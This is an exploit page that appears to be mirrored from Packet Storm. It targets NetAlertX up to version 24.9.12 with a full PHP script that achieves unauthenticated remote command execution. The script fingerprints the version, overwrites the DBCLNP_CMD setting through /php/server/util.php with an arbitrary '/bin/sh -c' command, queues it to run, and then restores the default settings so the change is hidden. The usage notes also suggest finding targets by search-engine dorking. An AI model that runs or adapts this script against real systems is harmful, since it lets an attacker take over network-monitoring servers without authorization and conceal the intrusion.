Share
## https://sploitus.com/exploit?id=PACKETSTORM:189474
=============================================================================================================================================
| # Title : NetAlertX 24.9.12 PHP Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://netalertx.com/ |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] An RCE (Remote Command Execution) exploit targeting NetAlertX, where an attacker can update settings without authentication, leading to command execution on the system.
[+] save code as poc.php .
[+] USage : cmd => c:\www\test\php poc.php
[+] SeT target = Line : 111
[+] PayLoad :
<?php
class NetAlertXExploit {
private $target;
private $port;
private $waitTime;
private $cleanup;
private $baseUrl;
public function __construct($target, $port = 20211, $waitTime = 75, $cleanup = true) {
$this->target = $target;
$this->port = $port;
$this->waitTime = $waitTime;
$this->cleanup = $cleanup;
$this->baseUrl = "http://$target:$port";
}
private function sendRequest($method, $uri, $data = null) {
$url = "{$this->baseUrl}$uri";
$options = [
'http' => [
'method' => $method,
'header' => "Content-Type: application/json\r\n",
'ignore_errors' => true
]
];
if ($data) {
$options['http']['content'] = json_encode($data);
}
return file_get_contents($url, false, stream_context_create($options));
}
public function check() {
echo "[*] Checking if target is vulnerable...\n";
$res = $this->sendRequest("GET", "/maintenance.php");
if (!$res) {
echo "[-] Target is not reachable.\n";
return false;
}
preg_match('/Installed version.*?([\d.]+)/', $res, $matches);
if (!$matches) {
echo "[-] Failed to detect version.\n";
return false;
}
$version = $matches[1];
if (version_compare($version, "23.01.14", ">=") && version_compare($version, "24.9.12", "<=")) {
echo "[+] Vulnerable version detected: $version\n";
return true;
}
echo "[-] Target is not vulnerable (Version: $version).\n";
return false;
}
public function exploit($cmd) {
echo "[*] Exploiting target...\n";
$payload = "/bin/sh -c \"$cmd\"";
$this->updateSettings($payload, "*");
echo "[*] Waiting for settings update...\n";
sleep($this->waitTime);
echo "[*] Adding payload to execution queue...\n";
$this->addToExecutionQueue("run|DBCLNP");
$this->addToExecutionQueue("cron_restart_backend");
echo "[+] Payload sent successfully!\n";
}
private function updateSettings($cmd, $schedule) {
$data = [
'function' => 'savesettings',
'settings' => [
['DBCLNP', 'DBCLNP_RUN', 'string', 'schedule'],
['DBCLNP', 'DBCLNP_CMD', 'string', $cmd],
['DBCLNP', 'DBCLNP_RUN_SCHD', 'string', "$schedule * * * *"],
]
];
$res = $this->sendRequest("POST", "/php/server/util.php", $data);
if (!$res) {
die("[-] Failed to update settings.\n");
}
echo "[+] DBCLNP_CMD updated to '$cmd'.\n";
}
private function addToExecutionQueue($cmd) {
$data = [
'function' => 'addToExecutionQueue',
'action' => uniqid() . "|$cmd"
];
$res = $this->sendRequest("POST", "/php/server/util.php", $data);
if (!$res) {
die("[-] Failed to add payload to execution queue.\n");
}
}
public function cleanup() {
if (!$this->cleanup) return;
echo "[*] Restoring original settings...\n";
$defaultCmd = 'python3 /app/front/plugins/db_cleanup/script.py pluginskeephistory={pluginskeephistory} hourstokeepnewdevice={hourstokeepnewdevice} daystokeepevents={daystokeepevents} pholuskeepdays={pholuskeepdays}';
$this->updateSettings($defaultCmd, "*/30");
echo "[+] Cleanup completed.\n";
}
}
// الاستخدام
$target = "192.168.1.100";
$exploit = new NetAlertXExploit($target);
if ($exploit->check()) {
$exploit->exploit("id");
$exploit->cleanup();
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================